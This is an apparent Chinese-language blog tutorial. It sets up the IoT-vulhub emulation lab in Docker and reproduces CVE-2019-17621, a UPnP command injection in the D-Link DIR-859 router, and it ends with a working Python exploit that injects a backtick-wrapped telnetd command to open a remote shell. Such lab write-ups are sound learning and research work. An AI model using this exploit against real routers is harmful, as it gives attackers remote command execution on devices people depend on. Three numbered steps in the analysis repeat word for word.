0x00 前言

最近在研究路由器漏洞,要是每次分析个路由器都要上闲鱼买一个路由器真的费用有点高,所以在网上找了类似的路由器漏洞环境仿真的平台,运气不错在GitHub上找到一个开源项目IoT-vulhub,接下来就是记录自己搭建IoT固件漏洞复现环境的过程。

0x01 IoT-vulhub安装

系统环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
..............                                  
..,;:ccc,. kali@kali
......''';lxO. OS: Kali Linux
.....''''..........,:ld; Kernel: x86_64 Linux 5.5.0-kali2-amd64
.';;;:::;,,.x, Uptime: 1m
..'''. 0Xxoc:,. ... Packages: 2170
.... ,ONkc;,;cokOdc',. Shell: bash
. OMo ':ddo. Resolution: 1688x952
dMc :OO; DE: Xfce
0M. .:o. WM: Xfwm4
;Wd WM Theme: Kali-Dark
;XO, GTK Theme: Kali-Dark [GTK2]
,d0Odlc;,.. Icon Theme: Flat-Remix-Blue-Dark
..',;:cdOOd::,. Font: Cantarell 11
.:d;.':;. Disk: 20G / 63G (33%)
'd, .' CPU: Intel Core i7-6700 @ 2x 3.408GHz
;l .. GPU: VMware SVGA II Adapter
.o RAM: 820MiB / 3912MiB
c
.'
.

安装依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 安装Python3
#这个最好安装Python3.5以上,否则会有问题!

# 安装pip
$ curl -s https://bootstrap.pypa.io/get-pip.py | sudo python3

# 安装最新版 docker
$ curl -s https://get.docker.com/ | sh

# 启动docker 服务
$ sudo service docker start

# 查看安装的版本信息
$ sudo docker version

# 运行hello,world
$ sudo docker run hello-world

# 让普通用户也能运行 docker
$ sudo usermod -aG docker $USER #然后注销用户重新登录即可。

# 验证
$ docker images

# 安装docker-compose,最好用root权限装
$ sudo python3 -m pip install docker-compose

克隆项目

1
2
3
4
5
#克隆github 项目
$ git clone https://github.com/firmianay/IoT-vulhub.git

#进入项目目录
cd IoT-vulhub

构建Docker基础镜像

以下为必须构建的镜像

  • Ubuntu 16.04系统镜像
  • binwalk 以及 noentry版镜像
  • firmadyne固件模拟镜像
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#漏洞仿真是根据每个镜像综合的利用,所以一定要构建这些镜像
----------------------------系统-------------------------------
# 构建Ubuntu 16.04系统
$ cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 .

# 构建binwalk容器,解压固件 和仿真用
$ cd baseImage/binwalk && docker build -t firmianay/binwalk .

# 构建noentry版本的binwalk镜像, firmadyne 基于该版本镜像
$ cd baseImage/binwalk && vi Dockerfile (修改如下,注释ENTRYPOINT)
#ENTRYPOINT ["binwalk"]
$ docker build -t firmianay/binwalk:noentry .

# 构建firmadyne 模拟镜像
$ cd baseImage/firmadyne && docker build -t firmianay/firmadyne .

# 构建firmae 模拟镜像
$ cd baseImage/firmAE && docker build -t firmianay/firmae .

-----------------------------工具------------------------------
# 构建buildroot
$ cd baseImage/buildroot && docker build -t firmianay/buildroot .

# 构建busybox
$ cd baseImage/busybox && docker build -t firmianay/busybox .

# 构建gdbserver
$ cd baseImage/gdbserver && docker build -t firmianay/gdbserver .

# 构建QEMU 用户级模拟镜像
$ cd baseImage/qemu-user-static && docker build -t firmianay/qemu-user-static .

1

0x02 漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#进入到D-Link\CVE2019-17621目录
cd D-Link/CVE-2019-17621/

#解压D-Link DIR-859固件
$ docker run --rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer "/root/firmware/DIR822A1_FW103WWb03.bin"

#构建漏洞环境镜像
$ sudo docker-compose -f docker-compose-firmadyne.yml build

#启动模拟好的D-Link DIR-859漏洞环境 docker容器
$ sudo docker-compose -f docker-compose-firmadyne.yml up

#利用ssh开启socks代理,将漏洞环境网络代理出来,方便虚拟机操作
$ ssh -D 2345 root@127.0.0.1 -p 1234 #密码root
#开启socks代理
#代理端口:2345

#Google浏览器中安装Proxy SwitchyOmega插件,配置如下代理
代理协议:SOCKS5
代理服务器:127.0.0.1
代理端口:2345

2
3

CVE-2019-17621 (命令注入漏洞)分析

1
2
3
描述:
DIR-859路由器用了UPNP协议,并且在某处调用fwrite()向文件中添加删除命令`rm -f ".$shell_file."\n"`,
时候出现了漏洞,我们可以将shell_file内容改为反引号包裹的系统命令,来利用命令注入漏洞执行命令。

UPNP协议简介:

UPnP全名是Universal Plug and Play,主要是微软在推行的一个标准。

简单的来说,UPnP 最大的愿景就是希望任何设备只要一接上网络,所有在网络上的设备马上就能知道有新设备加入,这些设备彼此之间能互相沟通,更能直接使用或控制它,一切都不需要设定,完全的Plug and Play。

  • UPnP不需要设备驱动程序,因此使用UPnP建立的网络是介质无关的。
  • 同时UPnP使用标准的TCP/IP和网络协议,使它能够无缝的融入现有网络。
  • 构造UPnP应用程序时可以使用任何语言,并在任何操作系统平台上编译运行。
  • 对于设备的描述,使用HTML表单表述设备控制界面。它既允许设备供应商提供基于浏览器的用户界面和编程控制接口,也允许开发人员定制自己的设备界面。

漏洞所在位置:

二进制可执行文件/htdocs/cgibin中的genacgi_main()函数包含了可远程执行代码的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
undefined4 genacgi_main(void)
{
............
iVar7 = (**(code **)(local_18 + -0x7d44))(iVar6,"?service=",9);//iVar6 ?service=
if (iVar7 != 0) {
return 0xffffffff;
}
iVar7 = (**(code **)(local_18 + -0x7d30))(pcVar4,"SUBSCRIBE");
uri_service = iVar6 + 9;//uri_service 来自 iVar6
..........
pid = getpid();
sprintf(buf8,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh"
,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out
,env_REMOTE_ADDR,"/var/run",uri_service,pid);
xmldbc_ephp(0,0,buf8,stdout);
...........
return 0;
}

sprintf()格式化字符串,将各种拼接的输出格式化输入到buf8中,主要关注SHELL_FILE将以格式%s_%d.sh进行传递,主要用于为新的shell脚本命名。

随后由 xmldbc_ephp()函数(最后调用send())将“buffer8”中包含的数据发送给PHP。

1
2
3
4
5
6
7
8
METHOD=SUBSCRIBE
INF_UID=(NULL)
SERVICE="9" #漏洞就出在这里,我们可以控制SERVICE ,我们在这里如果输入`telnetd`,那他就会开启telnet服务
HOST="192.168.0.1:49152"
URI=/ServiceProxy27>
TIMEOUT=1800
REMOTE="192.168.0.2"
SHELL_FILE="/var/run/9_3120.sh"
  1. xmldbc_ephp函数就不具体分析了,有兴趣的自己可以深入分析下,他大致内容是把buf8的数据传run.NOTIFY.php处理 缓冲区中的数据,经过xmldbc_ephp处理,由PHP文件run.NOTIFY.php进行处理。
  2. run.NOTIFY.php调用GENA_subscribe_new()并传递cgibin程序中genacgi_main()函数获得的变量,还包括变量SHELL_FILE
  3. GENA_subscribe_new函数传递SHELL_FILE 到 GENA_notify_init函数,也是SHELL_FILE最终处理的地方:通过调用 PHP 函数fwrite()创建新文件。
  4. GENA_notify_init函数中 fwrite() 函数被使用了两次 第一次创建文件,文件名为SHELL_FILE变量。
  5. 第二次调用fwrite()向文件中添加 删除命令 “rm -f “.$shell_file.”\n”,(漏洞点触发原因):
  6. 进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。
  7. 进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。
  8. 进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。

4

构造EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

import socket
import os
from time import sleep

def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}'.format(host=server, port=port))

con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" #这里的shell_file就是我们反引号包裹的系统命令
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
print('[*] Sending Payload')
sleep(1)

con.connect((socket.gethostbyname(server), port))
con.send(request.encode())
results = con.recv(4096)
print('[*] Running Telnetd Service')
sleep(2)

print('[*] Opening Telnet Connection\n')
os.system('telnet ' + str(server) + ' 9999')

serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

执行漏洞利用

1
2
cd tools
python exp.py

5

6

欢迎各位大佬加群:研究PWN、RE、WEB安全等技巧

Pwn菜鸡学习小分队群聊二维码